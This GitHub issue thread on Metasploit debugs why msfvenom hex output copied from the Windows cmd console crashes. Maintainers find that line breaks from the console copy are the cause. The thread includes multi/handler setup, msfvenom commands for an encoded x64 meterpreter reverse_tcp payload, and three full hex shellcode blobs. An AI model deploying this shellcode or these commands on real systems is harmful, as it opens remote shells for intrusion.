Metasploit-framework: msfvenom hex payload code error

[kainpark7894]

Video

https://youtu.be/6UfsPFapHSQ

-host option-

use exploit/multi/handler

set payload windows/x64/meterpreter/reverse_tcp

set EXITFUNC thread

set exitonsession false

set lhost 192.168.0.2

set lport 443

exploit -j

• msfvenom option-

msfvenom -p windows/x64/meterpreter/reverse_tcp -e x64/xor -b '\x00' -i 3 LHOST=192.168.0.2 LPORT=443 -f hex

TEST OS:
Windows 7 x64 metasploit-framework Version(4.11.26)

msfconsole -> C:\metasploit-framework\bin\msfconsole.bat
msfvenom -> C:\metasploit-framework\bin\msfvenom.bat

payload infomation
platform: windows/x64/meterpreter/reverse_tcp
Host: 192.168.0.2
port: 443
encoder:x64/xor
payload hex del: x00
i loop : 3

-msfvenom hex infomation-

4.11.20 version payload hex no crash

Payload size: 631 bytes (no bug)

4831c94881e9b6ffffff488d05efffffff48bbdae0f731fc83f85848315827482df8ffffffe2f492d13e797d6a43a7251fbfbcf96c07a725a84c3858630dec436bdb79cddbdf10f71808ce03610c194fc94a048cc82bae81488f808af72bae36bb59d3fad01598c06d4ab43d2f9c7c86fffd7a87fc734f623c33a417658f07a089821c8934d94fd00aa6045037ef4f6a8adb045037af4f6aaa9304d4d2c54dace90a04eaa5233b80a4c160fb244eceec99c28d3988dd46b090481efbeecd3ba9d9132a5a1d970ce3d7463edb658f8c6150c34cdb2d0ac795bf8b4d0b35044ff99c480cfb2c8ed7028e8bb3122404336990c29a9654464fd0186f0d1aac8246e019fbacae94c304adfccb09e2b4fadfb99c480cff2c8ed78799484093210447fd91c29c9aee8b8fa9d9130d8324d759b88282149a3cce5da95b2f6c9a3770e7b9999a1693ee9deeaa273cb3862c317092ea9c7fe9658f46b7914aaa93e463a7e0d8c3055280c6bbe3d8c2f71bcd8f05a08c8ac53f2906f6a0628f3bfd6270d2ad512924da648f07b89979655b0e8ff834b2c60d8535df4ad0118e7d1b2d70c7a951010424a5c78e209979a6d4ba6ff834904a8bb175ce5fad512104529ccebd787db72d24b00ac795d28ab315106aef72d8c34c93e66317a9512101eaace503a0808bc52224350538109cb30ee677079f8d8bcf1f45d18e17b2830d820d8f17e1d8821493ec7d4fd01182f683c1dce21e0d8bc5182c06c0ace90a055295c78e3b904ab59adf8dde29873c99589d8f7ac980821b820d8f47e1d88214b165d5465bd3ec43eb9a5a50b8997939b528eef834913c82325970f81e90c28f934c494f642eb6f89a9a685f8bd89a051ca77fb2438e3c99db65d458

4.11.26 version payload hex crash

Payload size: 631 bytes

4831c94881e9b6ffffff488d05efffffff48bbfdd320188ce7a7d248315827482df8ffffffe2f4b5
e2e9500d0e1c2d022c68958908582d029b9b6496d66d17581a9b50bdbf809ad02bdfe7730553e6d6
2ba25cc0eee35118aa67d8c6d1e351af598ccac46023d40b03a2ec710954831f1d1522cbda86f189
48254f09cf7ab94bfd94f7979e2cf13b7eb0ef4e9d1af181fecdef4e9d5af181de85efca7830f347
9d1ceff40fd6856bd0d78be58ebb7007edd466272228f85be45ef5e544388542ad05c144b762b208
a350d5c5cf7a328a24d5a7c587ff797ecb9da6159ff1f112e85ee7e5867b69e9fa9d580c8ef18d82
e4d47188feb3f13b6c79e6040677f80b6ded47b03e36ba4688dde2fc1e0f6152e85ee7e1867b696c
ed5eab8d8bf1f916e5d47784447e3142ad05e69d8e22e753f694ff84963be3422f3987849d855952
ed8cfd8d44685041532a589886c4ce799e8a94f7cf7af85ce55c418d4e96190bacd5ee4c2a330508
acd41c05677abb4bf89c2e2183f3484b1699d0e3c8856c46253fcfc4ce7ab953ed6f8e45a47a46df
c6d0e69b9f2af43b65989605878579422517ef3a0f3230cbed6f4dca109a46dfe45c60afdf3be146
2537ef4c363b039309a1c63a1aff797ea69c580bba9f5199acd5a78d4c96a9422537eaf40610bd4b
f49d2e3c8ec0bbd3648a58104c82b974f99d2401ef2430fcc695e69ca77aa90aac94ff8d4688f13b
65941d9d6b295cf5799d2e0686f37e479d1cee4c3f3230d0e45c5e84757860c2f32a7246377ac422
f494f09ca77af90aac94ffafcf20f8b0a7faa8f530afee53ed6fd2ab821b46dfe52a692cf38546f5
e4d4648de6bcf18f5aa01384309de160ac8cee020d8a0ca8fa2a72c5cf1cd2

[bcook-r7]

Sorry, your video and description do not say how you are launching the payload at all. I see some sort of 'memory viewer' console, where you appear to be pasting things, and jumping to an offset. Can you please provide steps that we can reproduce?

[kainpark7894]

full video:
https://youtu.be/fJvD3KIHTvo

[kainpark7894]

kali linux msfvenom-> hex code generater -> no bug

windows msfvenom ->hex code generater -> bug

windows test msfvenom

http://windows.metasploit.com/metasploitframework-latest.msi

[wchen-r7]

Hi @kainpark7894, when you executed the 4.11.20 payload, were you also using Framework 4.11.20? Or were you using 4.11.26 as you said earlier?

[kainpark7894]

my bad test -> 4.1.1.20 ->kali linux msfvenom
(Windows msfvenom hex generater bug?)

linux msfvenom hex generater no bug

[wchen-r7]

OK, thanks for the information.

By the way, thanks for trying to communicate in English. But if you want, you can speak Korean. We can translate with Google :-)

[bcook-r7]

How did you copy the hex output? Did you write it to a file, or try to copy from the console output in the cmd window? I wonder if not all of the characters got copied when you selected it accidentally.

[wchen-r7]

@bcook-r7 The video shows he right-clicked on the hex payload from this Github issue to copy, and then pasted to Memory Viewer.

[bcook-r7]

When I copied from your output above, the non-working one has linefeeds between each line, but the working one is a single continuous line. There is also a difference of 16 bytes between them. This makes me think the copy/paste method you are using is adding some extra characters to the payload when you paste it.

$ wc good.txt  
       1       1    1263 b.txt
$ wc bad.txt  
      16      16    1278 a.txt

[wchen-r7]

Ah good one.

[vysecurity]

See my screenshot. Not sure if cheat engine will automatically ignore the new lines.

I'm pretty sure it does?

The shell code looks the same other than the line feeds. -> nvm edit: shell code is different.

I did a quick diff in HXD and it looks quite different. What I don't get is, if it's XOR'd with \x00 then it should have same shell code. The stub remains the same though.

His working: https://www.onlinedisassembler.com/odaweb/E7FmQDHs/0

His not working: https://www.onlinedisassembler.com/odaweb/m1CU6tnW/0

[wchen-r7]

I'll test it out right quick....

[wchen-r7]

Ahh yup, @bcook-r7 you might be right. When there is a newline, Memory Viewer/Cheat Engine treats that as a null byte.

The following screenshot is what the hex output actually looks like. I copied from this Github issue (the bad hex payload):

Pay attention to the last couple of bytes in the first line. We are gonna try to find that in Memory Viewer:

Notice in Memory Viewer, there is a null byte (00) between B5 and E2. That null byte should NOT be there.

[wchen-r7]

I generated the exact same thing with the latest msfvenom, and there is no beautification, so looks like there is no problem with Framework. However, this was done on OS X, I don't know if Windows does anything different (and that's what @kainpark7894 used)

[wchen-r7]

Ok, so I tried to generate the same payload on Windows:

And if you select the output, right click, and paste it on a text editor, it looks like this:

@kainpark7894 When using msfvenom on Windows, did you copy the hex payload from the command prompt? If you did, that's the problem.

To work around that, do:

msfvenom -p windows/x64/meterpreter/reverse_tcp -e x64/xor -b '\x00' -i 3 LHOST=192.168.0.2 LPORT=443 -f hex -o payload.txt

The hex payload saved as payload.txt will not have any newlines (null bytes). See if that fixes your problem :-)

[bcook-r7]

Yeah, we don't have a lot of control over how cmd.exe handles copy/paste. I think you even get different results on Windows 10's console vs. earlier versions of windows.

[kainpark7894]

wchen-r7 thank you

cmd console -hex bug ?

msfvenom -p windows/x64/meterpreter/reverse_tcp -e x64/xor -b '\x00' -i 3 LHOST=192.168.0.2 LPORT=443 -f hex -o test.txt

4831c94881e9b6ffffff488d05efffffff48bb0a8c02199a7c0cdf48315827482df8ffffffe2f442bdcb511b95b720f5734a949f93f320f5c4b9e0ac54645934765951ab242b972774fde6659ef86e0d6d221e4d46a8d9c3ece79a4b79a8d9741f0944be42a9bc8f0322aefca11f0bc45b95604672c8b5a58464eddb2134fd6731d555457062b517b2f14d9c7354b5ad328c4d9c7314b5ad12c44d18967eb76b515d4d26e198c1471c96293760f5342b2195c4f5cc66bc77281f5737aa76c16e61446396592cf6246f117717213476a6e894051769b13d5207dc04c771bfb53e241f453768352dc536dcfade60bfc9ae2895d35a10fdb517a03844d6e839bc27a1ace562d078fe6a449c402ef041257e241f453368352d40211f095f65bfbd3a2995d556aa30756e6144444f606ca37f3ad55d567875a76ee378255673cb1d7e21cd5f5faa26146d9f6bfa4a688a8a5552cb36252134bc70291de35fa0d85d2760944c9ec47d41246095bed78934ff6734dd8cf36dbd0c67dad8723126cb286ae97e6d162034fd7f212e2c974a3402f30a9144497164b017a9d934d769cb3d6ee9564de8e17c74e7212eef18fed402f3281dc27d3175a56ae9764d9ed87547bfc5e064e8f4b13d526addfad954d115b56094055fa2d8ed6ee9764826e85ef96738dc8cee608effffa8cbfac2a2ccfd5835dc86d3016a74d00ad4444e4934ed2660d55d5fa8c6b517a9d5bf4f856718d9b5dc8cd468bd3a6b515d4c9ed17c74fc281dfc569b3624ee3f6bd094d934800e38d5524e4934bd2660d55d7d216ebc9c6bbb0a27dee1aa7f212e70796c5502f3296bcbfe1dcb02d92895c65f08f2b5a396e1b156ded3a54c60cd4cd0e3c44884366bd0172157df

////////////////////////////////////
i solve a problem

[bcook-r7]

Darn hexbugs